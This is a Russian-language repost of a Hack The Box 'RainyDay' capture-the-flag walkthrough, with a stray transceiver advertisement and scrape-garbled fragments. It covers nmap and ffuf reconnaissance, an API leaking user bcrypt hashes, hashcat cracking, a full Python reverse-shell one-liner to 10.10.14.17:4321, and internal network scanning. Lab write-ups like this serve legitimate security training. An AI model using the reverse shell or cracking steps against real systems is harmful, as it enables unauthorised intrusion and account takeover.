Категория > Новости > HTB RainyDay. Эксплуатируем API и брутим «соленый» пароль - «Новости»
HTB RainyDay. Эксплуатируем API и брутим «соленый» пароль - «Новости»25-02-2023, 12:16. Автор: Ксения |
Hack The Box. Ее уровень — сложный.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. Читайте также - Продам трансивер Кенвуд TS-50S. Состояние хорошее, все функции работают, выходная мощность согласно характеристике. Отправлю СДЭК, или почтой за ваш счет, трансивер kenwood по доступным ценам. РазведкаСканирование портовДобавляем IP-адрес машины в 10.10.11.184 rainyday.htb И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Нашлось два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. На SSH нам пока заходить рано, поскольку учетных данных у нас нет (а перебирать их на машине с HTB не предполагается). В заголовке ответа веб‑сервера Nmap нашел поле 10.10.11.184 rainyday.htb rainycloud.htb Точка входаДавай построим карту сайта в Burp Suite, чтобы лучше ориентироваться. Для этого выбираем любой запрос к целевому сайту и в контекстном меню кликаем Engagement tool → Discovery content. После окончания сканирования на вкладке Site map увидим что‑то похожее на скрин ниже. Карта сайта rainycloud.htb Когда Burp Suite строит карту, он не только сканирует каталоги и файлы, но и собирает ссылки и переходит по ним. Так как не происходит сканирования поддоменов, то выполним его с помощью ffuf. Справка: сканирование веба c ffufОдно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB. Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
ffuf -u 'http://rainycloud.htb' -wsubdomains-top1million-110000.txt -H "Host: FUZZ.rainycloud.htb" -t 256 -fs 229 Добавляем новый домен в файл 10.10.11.184 rainyday.htb rainycloud.htb dev.rainycloud.htb Но сайт на новом домене нам недоступен, о чем говорит код ответа 403. Зато на карте сайта есть интересная страница Страница /api/ Эндпоинт Существующие докер‑образы Еще мы можем запросить URL вида Данные пользователя jackДанные пользователя rootДанные пользователя gary Точка опорыНайденные хеши были созданы алгоритмом bcrypt, который устойчив к перебору, — работа hashcat заняла около 25 минут. Для перебора bcrypt нужно использовать режим 3200 (параметр hashcat -m3200 hashes.txt rockyou.txt С найденным паролем авторизуемся на сайте и получаем возможность создать контейнер Docker. Главная страница сайта Создаем новый контейнер, и нам открывается панель управления контейнером. Главная страница сайта Внутри контейнера можно выполнять команды, поэтому получим реверс‑шелл. В качестве листенера я использую pwncat. Так как реверс‑шелл должен висеть долго, выполняем команду в фоновом режиме: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/sh")' Получаем сессию и проверяем внутреннюю сеть. Настройки сетевого адаптера ПродвижениеПользователь jackЗагрузим на хост статически собранный Nmap и найдем другие хосты (контейнеры) в сети. ./nmap -sn172.18.0.0/24 Перейти обратно к новости |